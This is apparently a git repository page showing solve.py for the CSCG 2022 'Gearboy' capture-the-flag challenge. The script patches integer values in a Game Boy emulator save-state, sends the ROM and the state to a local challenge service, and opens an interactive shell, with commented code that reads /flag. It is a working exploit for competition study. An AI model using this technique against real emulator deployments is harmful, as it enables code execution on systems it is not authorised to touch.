cscg22-gearboy

CSCG 2022 Challenge 'Gearboy'
git clone https://git.sinitax.com/sinitax/cscg22-gearboy
Log | Files | Refs | sfeed.txt

solve.py (664B)

      1#!/usr/bin/env python3
      2
      3from base64 import b64encode
      4from sys import argv,exit
      5from pwn import *
      6
      7context.log_level = "error"
      8
      9rom = list(open("main.gb", "rb").read())
     10state = list(open("main.state", "rb").read())
     11
     12for i,v in enumerate(struct.pack("<i", -0x13)):
     13    state[0x10000+i] = v
     14
     15for i,v in enumerate(struct.pack("<i", 1)):
     16    state[0x10004+i] = v
     17
     18if len(argv) > 1:
     19    io = process(argv[1:])
     20else:
     21    io = process("ncat localhost 1024".split())
     22io.sendline(b64encode(bytes(rom)))
     23io.sendline(b64encode(bytes(state)))
     24
     25io.interactive()
     26# io.sendline(b"cat /flag")
     27# data = io.readuntil(b"CSCG", timeout=1)
     28# if data != b"":
     29#     print(io.readline())
     30